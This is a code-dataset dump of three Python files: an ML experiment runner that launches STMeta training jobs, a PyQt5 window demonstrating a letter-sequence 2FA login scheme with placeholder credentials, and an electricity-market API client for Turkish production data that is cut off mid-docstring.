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| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
3edd79373d2fbda51bb77308b1f692ea3122c0fc
| 3,602
|
py
|
Python
|
Experiments/STMeta/deprecated/Runner_External_LSTM_ADD_60.py
|
TempAnonymous/Context_Analysis
|
bbeba1ed7ea7001c22a12721fc4f390d4cc01a6e
|
[
"MIT"
] | 3
|
2021-06-29T06:18:18.000Z
|
2021-09-07T03:11:35.000Z
|
Experiments/STMeta/deprecated/Runner_External_LSTM_ADD_60.py
|
TempAnonymous/Context_Analysis
|
bbeba1ed7ea7001c22a12721fc4f390d4cc01a6e
|
[
"MIT"
] | null | null | null |
Experiments/STMeta/deprecated/Runner_External_LSTM_ADD_60.py
|
TempAnonymous/Context_Analysis
|
bbeba1ed7ea7001c22a12721fc4f390d4cc01a6e
|
[
"MIT"
] | null | null | null |
import os
import warnings
warnings.filterwarnings("ignore")
#############################################
# BenchMark Bike
#############################################
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_nyc.data.yml '
# '-p external_lstm_len:4,external_method:lstm-linear-add,graph:Distance-Correlation-Interaction,mark:lstm4_V1')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_dc.data.yml '
# '-p external_lstm_len:4,external_method:lstm-linear-add,graph:Distance-Correlation-Interaction,mark:lstm4_V1')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_chicago.data.yml '
# '-p external_lstm_len:4,external_method:lstm-linear-add,graph:Distance-Correlation-Interaction,mark:lstm4_V1')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_nyc.data.yml '
# '-p external_method:not-linear-add,graph:Distance-Correlation-Interaction,mark:add')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_dc.data.yml '
# '-p external_method:not-linear-add,graph:Distance-Correlation-Interaction,mark:add')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_chicago.data.yml '
# '-p external_method:not-linear-add,graph:Distance-Correlation-Interaction,mark:add')
# # ###############################################
# # # BenchMark DiDi
# # ###############################################
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d didi_xian.data.yml '
# '-p external_lstm_len:4,external_method:lstm-linear-add,graph:Distance-Correlation-Interaction,mark:lstm4_V1')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d didi_chengdu.data.yml '
# '-p external_lstm_len:4,external_method:lstm-linear-add,graph:Distance-Correlation-Interaction,mark:lstm4_V1')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d didi_xian.data.yml '
# '-p external_method:not-linear-add,graph:Distance-Correlation-Interaction,mark:add')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d didi_chengdu.data.yml '
# '-p external_method:not-linear-add,graph:Distance-Correlation-Interaction,mark:add')
# ###############################################
# # BenchMark Metro
# ###############################################
os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d metro_shanghai.data.yml '
'-p external_lstm_len:4,external_method:lstm-linear-add,graph:Distance-Correlation-Line,mark:lstm4_V1')
os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d metro_chongqing.data.yml '
'-p external_lstm_len:4,external_method:lstm-linear-add,graph:Distance-Correlation-Line,mark:lstm4_V1')
os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d metro_shanghai.data.yml '
'-p external_method:not-linear-add,graph:Distance-Correlation-Line,mark:add')
os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d metro_chongqing.data.yml '
'-p external_method:not-linear-add,graph:Distance-Correlation-Line,mark:add')
###############################################
# BenchMark ChargeStation
###############################################
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d chargestation_beijing.data.yml '
# '-p external_lstm_len:4,external_method:lstm-linear-add,graph:Distance-Correlation,mark:lstm4_V1')
# os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d chargestation_beijing.data.yml '
# '-p external_method:not-linear-add,graph:Distance-Correlation,mark:add')
| 56.28125
| 122
| 0.666852
| 501
| 3,602
| 4.618762
| 0.08982
| 0.055315
| 0.096802
| 0.138289
| 0.958081
| 0.958081
| 0.956353
| 0.956353
| 0.956353
| 0.956353
| 0
| 0.012446
| 0.107718
| 3,602
| 63
| 123
| 57.174603
| 0.70753
| 0.646308
| 0
| 0.727273
| 0
| 0.363636
| 0.740741
| 0.497685
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.181818
| 0
| 0.181818
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
4126f1a0f0b97bc4caf47f351842b2fc9b17e67a
| 11,890
|
py
|
Python
|
src/demo.py
|
devanshamin/Vault-Plus
|
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
|
[
"MIT"
] | null | null | null |
src/demo.py
|
devanshamin/Vault-Plus
|
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
|
[
"MIT"
] | null | null | null |
src/demo.py
|
devanshamin/Vault-Plus
|
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
|
[
"MIT"
] | null | null | null |
from PyQt5 import QtCore, QtGui, QtWidgets
import src.images
class Demo(object):
"""Display sequence demo GUI to the user."""
def setupUi(self, Form: QtWidgets.QWidget) -> None:
"""Creates the widget objects in the proper containers and assigns the proper object names to them.
Args:
Form: Object of QWidget.
"""
Form.setObjectName("Form")
Form.setFixedSize(463, 590)
#Form.setFixedSize(580, 669)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(":/newPrefix/new.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
Form.setWindowIcon(icon)
self.textBrowser_2 = QtWidgets.QTextBrowser(Form)
self.textBrowser_2.setGeometry(QtCore.QRect(10, 10, 441, 571))
#self.textBrowser_2.setGeometry(QtCore.QRect(10, 10, 561, 651))
self.textBrowser_2.setStyleSheet(
"color: rgb(255, 255, 255);\n"
"font-family:Calibri;\n"
"background: rgba(0,0,0,0.8);\n"
"font-size:24px;\n"
"border-radius:15px"
)
self.textBrowser_2.setObjectName("textBrowser_2")
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
def retranslateUi(self, Form: QtWidgets.QWidget) -> None:
"""Sets the text and titles of the widgets.
Args:
Form: Object of QWidget.
"""
_translate = QtCore.QCoreApplication.translate
Form.setWindowTitle(_translate("Form", "Vault Plus "))
self.textBrowser_2.setHtml(_translate("Form",
"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
"p, li { white-space: pre-wrap; }\n"
"</style></head><body style=\" font-family:\'Calibri\'; font-size:24px; font-weight:400; font-style:normal;\">\n"
"<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:16pt; font-weight:600; color:#ffffff;\"> User Sequence</span><span style=\" font-size:16pt; color:#ff0000;\"> </span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:14pt; text-decoration: underline; color:#ffffff;\">Part 1</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; color:#ffffff;\"> 0:\'A\' | </span><span style=\" font-size:12pt; font-weight:600; color:#00aaff;\">1:\'B\'</span><span style=\" font-size:12pt; color:#ffffff;\"> | 2:\'C\' | </span><span style=\" font-size:12pt; font-weight:600; color:#55ff00;\">3:\'D\'</span><span style=\" font-size:12pt; color:#ffffff;\"> | 4:\'E\' | 5:\'F\' | 6:\'G\' | 7:\'H\' | 8:\'I\' |</span><span style=\" font-size:12pt; color:#000000;\"> </span><span style=\" font-size:12pt; font-weight:600; color:#ff2f2f;\">9:\'J\'</span><span style=\" font-size:12pt; color:#000000;\"> </span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:14pt; text-decoration: underline; color:#ffffff;\">Part 2</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; color:#000000;\"> </span><span style=\" font-size:12pt; color:#ffffff;\">0:\'K\' | </span><span style=\" font-size:12pt; font-weight:600; color:#55ff00;\">1:\'L\'</span><span style=\" font-size:12pt; color:#ffffff;\"> | </span><span style=\" font-size:12pt; font-weight:600; color:#ff2f2f;\">2:\'M\'</span><span style=\" font-size:12pt; color:#000000;\"> </span><span style=\" font-size:12pt; color:#ffffff;\">| 3:\'N\' | 4:\'O\' | </span><span style=\" font-size:12pt; font-weight:600; color:#00aaff;\">5:\'P\'</span><span style=\" font-size:12pt; color:#ffffff;\"> | 6:\'Q\' | 7:\'R\' | 8:\'S\' | 9:\'T\'</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:14pt; text-decoration: underline; color:#ffffff;\">Part 3</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; color:#000000;\"> </span><span style=\" font-size:12pt; color:#ffffff;\">0:\'U\' | </span><span style=\" font-size:12pt; font-weight:600; color:#55ff00;\">1:\'V\'</span><span style=\" font-size:12pt; color:#55ff00;\"> </span><span style=\" font-size:12pt; color:#ffffff;\">| </span><span style=\" font-size:12pt; font-weight:600; color:#00aaff;\">2:\'W\'</span><span style=\" font-size:12pt; color:#ffffff;\"> | 3:\'X\' | </span><span style=\" font-size:12pt; font-weight:600; color:#ff2f2f;\">4:\'Y\'</span><span style=\" font-size:12pt; color:#ffffff;\"> | 5:\'Z\' </span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:16pt; font-weight:600; color:#ffffff;\"> Log in</span><span style=\" font-size:8pt; font-weight:600; color:#55ffff;\"> </span><span style=\" font-size:24px;\"> </span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; text-decoration: underline;\">Enter email</span><span style=\" font-size:12pt;\">: </span><span style=\" font-size:12pt; color:#ffffff;\">jondoe@gmail.com</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; text-decoration: underline;\">Enter password</span><span style=\" font-size:12pt;\">: </span><span style=\" font-size:12pt; color:#ffffff;\">Example123</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt;\">After typing the correct email and password, you will be shown a 2FA GUI based on your 2FA type selection during creating the account.</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; color:#ffffff;\">• </span><span style=\" font-size:12pt;\">For </span><span style=\" font-size:12pt; font-style:italic; color:#ffff00;\">online</span><span style=\" font-size:12pt;\"> 2FA type, you will receive a random code via email and every 60 seconds a new code will be sent. </span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; color:#ffffff;\">• </span><span style=\" font-size:12pt;\">For </span><span style=\" font-size:12pt; font-style:italic; color:#ffff00;\">offline</span><span style=\" font-size:12pt;\"> 2FA type, the code will be shown within the application and every 60 seconds the code will be updated. </span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt;\">Suppose, your code is </span><span style=\" font-size:12pt; font-weight:600; color:#ffffff;\">913 - 251 - 421.</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt;\">From your sequence, you will select,</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; color:#ffffff;\">• First 3 digits from Part 1</span><span style=\" font-size:14pt; color:#000000;\"> </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\"> 9</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">1</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">3 </span><span style=\" font-size:14pt; color:#000000;\"> </span><span style=\" font-family:\'Wingdings\'; font-size:14pt;\">à</span><span style=\" font-size:14pt; font-weight:600; color:#ff0000;\"> </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\">J</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">B</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">D</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; color:#ffffff;\">• Next 3 digits from Part 2</span><span style=\" font-size:14pt; color:#ffffff;\"> </span><span style=\" font-size:14pt; color:#000000;\"> </span><span style=\" font-size:14pt; color:#ff2f2f;\"> </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\">2</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">5</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">1 </span><span style=\" font-family:\'Wingdings\'; font-size:14pt;\">à</span><span style=\" font-size:14pt; font-weight:600; color:#ff0000;\"> </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\">M</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">P</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">L</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; color:#ffffff;\">• Last 3 digits from Part 3</span><span style=\" font-size:14pt; color:#000000;\"> </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\">4</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">2</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">1 </span><span style=\" font-family:\'Wingdings\'; font-size:14pt;\">à</span><span style=\" font-size:14pt; font-weight:600; color:#ff0000;\"> </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\">Y</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">W</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">V</span></p>\n"
"<p style=\" margin-top:12px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; text-decoration: underline;\">Enter OTP</span><span style=\" font-size:12pt;\">: </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\">J</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">B</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">D </span><span style=\" font-size:14pt; font-weight:600; color:#ff0000;\"> </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\">M</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">P</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">L </span><span style=\" font-size:14pt; font-weight:600; color:#ff2f2f;\">Y</span><span style=\" font-size:14pt; font-weight:600; color:#00aaff;\">W</span><span style=\" font-size:14pt; font-weight:600; color:#55ff00;\">V</span><span style=\" font-size:24px;\"> </span></p></body></html>"
)
)
| 169.857143
| 1,046
| 0.639697
| 1,792
| 11,890
| 4.241629
| 0.129464
| 0.105249
| 0.16761
| 0.212472
| 0.799369
| 0.777003
| 0.774503
| 0.764768
| 0.719511
| 0.709775
| 0
| 0.074555
| 0.125736
| 11,890
| 70
| 1,047
| 169.857143
| 0.656181
| 0.028427
| 0
| 0
| 0
| 0.1
| 0.326853
| 0.010636
| 0
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| 0.04
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| 0.04
| 0.04
| 0
| 0.1
| 0
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| null | 0
| 0
| 1
| 0
| 1
| 1
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| 1
| 1
| 0
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0
| 8
|
f5afbd87e86aad9668edafa1110a0e678f4c06c7
| 35,441
|
py
|
Python
|
seffaflik/elektrik/uretim.py
|
tgbaozkn/seffaflik
|
b16bae9bf882ee81511c7f69428e58d22ec25600
|
[
"MIT"
] | 10
|
2020-06-20T10:56:04.000Z
|
2022-02-03T18:23:59.000Z
|
seffaflik/elektrik/uretim.py
|
tgbaozkn/seffaflik
|
b16bae9bf882ee81511c7f69428e58d22ec25600
|
[
"MIT"
] | 1
|
2022-02-01T11:31:33.000Z
|
2022-02-03T20:30:01.000Z
|
seffaflik/elektrik/uretim.py
|
tgbaozkn/seffaflik
|
b16bae9bf882ee81511c7f69428e58d22ec25600
|
[
"MIT"
] | 6
|
2020-12-09T14:55:46.000Z
|
2022-03-31T11:50:36.000Z
|
import pandas as __pd
import datetime as __dt
from multiprocessing import Pool as __Pool
import multiprocessing as __mp
from functools import reduce as __red
from seffaflik.__ortak.__araclar import make_requests as __make_requests
from seffaflik.__ortak import __dogrulama as __dogrulama
from seffaflik.elektrik import santraller as __santraller
__first_part_url = "production/"
def organizasyonlar():
"""
Kesinleşmiş Gün Öncesi Üretim Planı (KGÜP) girebilecek olan organizasyon bilgilerini vermektedir.
Parametreler
------------
Geri Dönüş Değeri
-----------------
KGÜP Girebilen Organizasyon Bilgileri(Id, Adı, EIC Kodu, Kısa Adı, Durum)
"""
try:
particular_url = __first_part_url + "dpp-organization"
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["organizations"])
df.rename(index=str,
columns={"organizationId": "Id", "organizationName": "Adı",
"organizationETSOCode": "EIC Kodu", "organizationShortName": "Kısa Adı",
"organizationStatus": "Durum"},
inplace=True)
df = df[["Id", "Adı", "EIC Kodu", "Kısa Adı", "Durum"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def organizasyon_veris_cekis_birimleri(eic):
"""
İlgili eic değeri için Kesinleşmiş Gün Öncesi Üretim Planı (KGÜP) girebilecek olan organizasyonun uzlaştırmaya
esas veriş-çekiş birim (UEVÇB) bilgilerini vermektedir.
Parametreler
------------
eic : metin formatında organizasyon eic kodu
Geri Dönüş Değeri
-----------------
KGÜP Girebilen Organizasyonun UEVÇB Bilgileri(Id, Adı, EIC Kodu)
"""
if __dogrulama.__kgup_girebilen_organizasyon_dogrulama(eic):
try:
particular_url = __first_part_url + "dpp-injection-unit-name?organizationEIC=" + eic
json = __make_requests(particular_url)
df_unit = __pd.DataFrame(json["body"]["injectionUnitNames"])
df_unit.rename(index=str, columns={"id": "Id", "name": "Adı", "eic": "EIC Kodu"}, inplace=True)
df_unit = df_unit[["Id", "Adı", "EIC Kodu"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df_unit
def tum_organizasyonlar_veris_cekis_birimleri():
"""
Kesinleşmiş Gün Öncesi Üretim Planı (KGÜP) girebilecek olan tüm organizasyon ve bu organizasyonların
uzlaştırmaya esas veriş-çekiş birim (UEVÇB) bilgilerini vermektedir.
Parametreler
------------
Geri Dönüş Değeri
-----------------
KGÜP Girebilen Organizasyonlar ve UEVÇB Bilgileri(Org Id, Org Adı, Org EIC Kodu, Org Kısa Adı, Org Durum, UEVÇB Id,
UEVÇB Adı, UEVÇB EIC Kodu)
"""
list_org = organizasyonlar()[["Id", "Adı", "EIC Kodu", "Kısa Adı", "Durum"]].to_dict("records")
with __Pool(__mp.cpu_count()) as p:
list_df_unit = p.map(__organizasyon_cekis_birimleri, list_org, chunksize=1)
return __pd.concat(list_df_unit).reset_index(drop=True)
def kgup(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"), organizasyon_eic="", uevcb_eic=""):
"""
İlgili tarih aralığı için kaynak bazlı kesinleşmiş günlük üretim planı (KGÜP) bilgisini vermektedir.
Not: "organizasyon_eic" değeri girildiği, "uevcb_eic" değeri girilmediği taktirde organizasyona ait tüm uevcb'lerin
toplamı için kgüp bilgisini vermektedir. Her iki değer de girildiği taktirde ilgili organizasyonun ilgili uevcb'si
için kgüp bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
organizasyon_eic : metin formatında organizasyon eic kodu (Varsayılan: "")
uevcb_eic : metin formatında metin formatında uevcb eic kodu (Varsayılan: "")
Geri Dönüş Değeri
-----------------
KGUP (Tarih, Saat, Doğalgaz, Barajlı, Linyit, Akarsu, İthal Kömür, Rüzgar, Fuel Oil, Jeo Termal, Taş Kömür, Biyokütle
,Nafta, Diğer, Toplam)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = __first_part_url + "dpp" + "?startDate=" + baslangic_tarihi + "&endDate=" + bitis_tarihi \
+ "&organizationEIC=" + organizasyon_eic + "&uevcbEIC=" + uevcb_eic
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["dppList"])
df["Saat"] = df["tarih"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["tarih"].apply(lambda d: d[:10]))
df.rename(index=str,
columns={"akarsu": "Akarsu", "barajli": "Barajlı", "biokutle": "Biyokütle", "diger": "Diğer",
"dogalgaz": "Doğalgaz", "fuelOil": "Fuel Oil", "ithalKomur": "İthal Kömür",
"jeotermal": "Jeo Termal", "linyit": "Linyit", "nafta": "Nafta",
"ruzgar": "Rüzgar", "tasKomur": "Taş Kömür", "toplam": "Toplam"}, inplace=True)
df = df[["Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür", "Rüzgar",
"Fuel Oil", "Jeo Termal", "Taş Kömür", "Biyokütle", "Nafta", "Diğer", "Toplam"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def tum_organizasyonlar_kgup(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d")):
"""
İlgili tarih aralığı için Kesinleşmiş Gün Öncesi Üretim Planı (KGÜP) girebilecek olan tüm organizasyonların saatlik
KGUP bilgilerini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
Geri Dönüş Değeri
-----------------
KGÜP Girebilen Organizasyonların KGUP Değerleri (Tarih, Saat, KGUP)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
org = organizasyonlar()
list_org = org[["EIC Kodu", "Kısa Adı"]].to_dict("records")
org_len = len(list_org)
list_date_org_eic = list(zip([baslangic_tarihi] * org_len, [bitis_tarihi] * org_len, list_org))
list_date_org_eic = list(map(list, list_date_org_eic))
with __Pool(__mp.cpu_count()) as p:
list_df_unit = p.starmap(__kgup, list_date_org_eic, chunksize=1)
list_df_unit = list(filter(lambda x: len(x) > 0, list_df_unit))
df_unit = __red(lambda left, right: __pd.merge(left, right, how="outer", on=["Tarih", "Saat"], sort=True),
list_df_unit)
return df_unit
def tum_uevcb_kgup(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d")):
"""
İlgili tarih aralığı için Kesinleşmiş Gün Öncesi Üretim Planı (KGÜP) girebilecek olan tüm organizasyonların
uzlaştırmaya esas veriş-çekiş birimlerinin saatlik KGUP bilgilerini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
Geri Dönüş Değeri
-----------------
KGÜP Girebilen Organizasyonların UEVCB KGUP Değerleri (Tarih, Saat, KGUP)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
org_uevcb = tum_organizasyonlar_veris_cekis_birimleri()
list_org_uevcb = org_uevcb[["Org EIC Kodu", "UEVÇB EIC Kodu", "UEVÇB Adı"]].to_dict("records")
list_org_uevcb_len = len(list_org_uevcb)
list_date_org_uevcb_eic = list(
zip([baslangic_tarihi] * list_org_uevcb_len, [bitis_tarihi] * list_org_uevcb_len, list_org_uevcb))
list_date_org_uevcb_eic = list(map(list, list_date_org_uevcb_eic))
with __Pool(__mp.cpu_count()) as p:
list_df_unit = p.starmap(__kgup_uevcb, list_date_org_uevcb_eic, chunksize=1)
list_df_unit = list(filter(lambda x: len(x) > 0, list_df_unit))
df_unit = __red(lambda left, right: __pd.merge(left, right, how="outer", on=["Tarih", "Saat"], sort=True),
list_df_unit)
return df_unit
def eak(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"), organizasyon_eic="", uevcb_eic=""):
"""
İlgili tarih aralığı için kaynak bazlı emre amade kapasite (EAK) bilgisini vermektedir.
Not: "organizasyon_eic" değeri girildiği, "uevcb_eic" değeri girilmediği taktirde organizasyona ait tüm uevcb'lerin
toplamı için eak bilgisini vermektedir. Her iki değer de girildiği taktirde ilgili organizasyonun ilgili uevcb'si
için kgüp bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
organizasyon_eic : metin formatında organizasyon eic kodu (Varsayılan: "")
uevcb_eic : metin formatında metin formatında uevcb eic kodu (Varsayılan: "")
Geri Dönüş Değeri
-----------------
EAK (Tarih, Saat, Doğalgaz, Barajlı, Linyit, Akarsu, İthal Kömür, Rüzgar, Fuel Oil, Jeo Termal, Taş Kömür, Biyokütle,
Nafta, Diğer, Toplam)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = __first_part_url + "aic" + "?startDate=" + baslangic_tarihi + "&endDate=" + bitis_tarihi \
+ "&organizationEIC=" + organizasyon_eic + "&uevcbEIC=" + uevcb_eic
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["aicList"])
df["Saat"] = df["tarih"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["tarih"].apply(lambda d: d[:10]))
df.rename(index=str,
columns={"akarsu": "Akarsu", "barajli": "Barajlı", "biokutle": "Biyokütle", "diger": "Diğer",
"dogalgaz": "Doğalgaz", "fuelOil": "Fuel Oil", "ithalKomur": "İthal Kömür",
"jeotermal": "Jeo Termal", "linyit": "Linyit", "nafta": "Nafta",
"ruzgar": "Rüzgar", "tasKomur": "Taş Kömür", "toplam": "Toplam"}, inplace=True)
df = df[["Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür", "Rüzgar",
"Fuel Oil", "Jeo Termal", "Taş Kömür", "Biyokütle", "Nafta", "Diğer", "Toplam"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def tum_organizasyonlar_eak(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d")):
"""
İlgili tarih aralığı için Emre Amade Kapasite (EAK) girebilecek olan tüm organizasyonların saatlik EAK bilgilerini
vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
Geri Dönüş Değeri
-----------------
EAK Girebilen Organizasyonların EAK Değerleri (Tarih, Saat, EAK)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
org = organizasyonlar()
list_org = org[["EIC Kodu", "Kısa Adı"]].to_dict("records")
org_len = len(list_org)
list_date_org_eic = list(zip([baslangic_tarihi] * org_len, [bitis_tarihi] * org_len, list_org))
list_date_org_eic = list(map(list, list_date_org_eic))
with __Pool(__mp.cpu_count()) as p:
list_df_unit = p.starmap(__eak, list_date_org_eic, chunksize=1)
list_df_unit = list(filter(lambda x: len(x) > 0, list_df_unit))
df_unit = __red(lambda left, right: __pd.merge(left, right, how="outer", on=["Tarih", "Saat"], sort=True),
list_df_unit)
return df_unit
def tum_uevcb_eak(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d")):
"""
İlgili tarih aralığı için Emre Amade Kapasite (EAK) girebilecek olan tüm organizasyonların uzlaştırmaya esas
veriş-çekiş birimlerinin saatlik KGUP bilgilerini vermektedir.
Parametreler
------------
